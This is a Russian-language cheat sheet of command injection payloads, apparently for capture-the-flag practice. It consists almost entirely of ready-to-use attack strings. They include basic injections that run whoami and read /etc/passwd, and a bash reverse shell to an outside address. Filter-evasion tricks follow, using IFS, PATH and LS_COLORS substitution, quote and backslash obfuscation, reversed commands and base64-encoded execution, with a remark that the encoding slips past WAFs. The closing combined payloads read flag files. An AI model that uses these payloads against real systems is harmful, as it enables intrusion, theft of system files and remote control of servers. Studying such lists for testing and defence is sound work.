

1. Payloads для Command Injections

1.1 Базовые payloads

1.1.1 Простейший

```
127.0.0.1; whoami
```

1.1.2 С несколькими командами

```
127.0.0.1; id; pwd; ls -la
```

1.1.3 Чтение файлов

```
127.0.0.1; cat /etc/passwd
```

1.1.4 Reverse shell

```
127.0.0.1; bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"
```

Важно: Reverse shell требует наличия netcat или bash на сервере.

1.2 Обход пробела

1.2.1 Tabs %09

```
127.0.0.1%09als%09-la
```

1.2.2 Brace Expansion {}

```
127.0.0.1%0a{ls,-la}
```

1.2.3 IFS переменная

```
127.0.0.1%0a${IFS}-la
```

\${IFS} – Internal Field Separator, по умолчанию содержит пробел и табуляцию. Не работает внутри `$()`.

1.3 Обход слеша

1.3.1 PATH переменная

```
${PATH:0:1} # → /
```

1.3.2 PWD переменная

```
${PWD:0:1}` # → /
```

1.3.3 HOME переменная

```
${HOME:0:1} # → /
```

1.3.4 Пример использования

```
127.0.0.1%0als${PATH:0:1}home # ls /home
```

Синтаксис: `${VARIABLE:START:LEN}`

- START — позиция (с 0)
- LEN — количество символов

1.4 Обход полуколона

1.4.1 LS_COLORS переменная

```
${LS_COLORS:10:1} # → ;
```

Пример: `127.0.0.1${LS_COLORS:10:1}whoami` Эквивалентно: `127.0.0.1; whoami`

1.5 Обход команд (обфускация)

1.5.1 Кавычки (Linux & Windows)

```
w'h'o'am'i # whoami
w"h"o"am"i # whoami
c'a't # cat
c"a"t # cat
```

Правила:

- Нельзя смешивать типы кавычек
- Количество кавычек должно быть четным

1.5.2 Backslash (Linux)

```
w\ho\am\i # whoami
c\at # cat
```

1.5.3 Positional Parameter (Linux)

```
who$@ami # whoami
cat$@ # cat
```

1.5.4 Caret (Windows)

```
who^ami # whoami
```

1.6 Case Manipulation

1.6.1 Windows (регистр не важен)

```
Wh0aMi # whoami
CAT # cat
```

1.6.2 Linux (регистр важен)

```
$(tr "A-Z" "a-z"><<<"Wh0aMi") # whoami
$(tr "A-Z" "a-z"><<<"CaT") # cat
```

1.6.3 Альтернативный способ

```
$(a="Wh0aMi";printf %s "${a,,}") # whoami
$(a="CaT";printf %s "${a,,}") # cat
```

1.7 Reversed Commands

1.7.1 Linux

```
# Получить реверс
echo 'whoami' | rev
imaohw

# Выполнить
$(rev<<<'imaohw') # whoami
```

```
# Для cat
echo 'cat' | rev
tac
$(rev<<<'tac') # cat
```

1.7.2 Windows (PowerShell)

```
# Реверс
"whoami"[-1..-20] -join ''
imaohw

# Выполнить
iex "$('imaohw'[-1..-20] -join '')" # whoami
```

1.8 Encoded Commands

1.8.1 Base64 (Linux)

```
# Кодирование
echo -n 'cat /etc/passwd | grep 33' | base64
Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==

# Выполнение
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```

1.8.2 Base64 (Windows)

```
# Кодирование
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))
dwBoAG8AYQBtAGkA

# Выполнение
iex
"$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"
```

Преимущества Base64:

- Не содержит специальных символов
- Можно закодировать сложные команды с пайпами и пробелами

- Сложно детектировать WAF

1.9 Комбинированные payloads

1.9.1 ls -la /home

```
127.0.0.1%0a{ls,-la,${PATH:0:1}home}
```

1.9.2 cat /home/user/flag.txt

```
127.0.0.1%0a{c'a't,${PATH:0:1}home${PATH:0:1}lnj3c70r${PATH:0:1}flag.txt}
```

1.9.3 cat /flag.txt через GET параметр

```
from=%0ac'a't%09${PATH:0:1}flag.txt%0a2561732172.txt
```

1.9.4 find /usr/share/ | grep root | grep mysql | tail -n 1

```
127.0.0.1%0abash<<<$(base64%09-  
d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)
```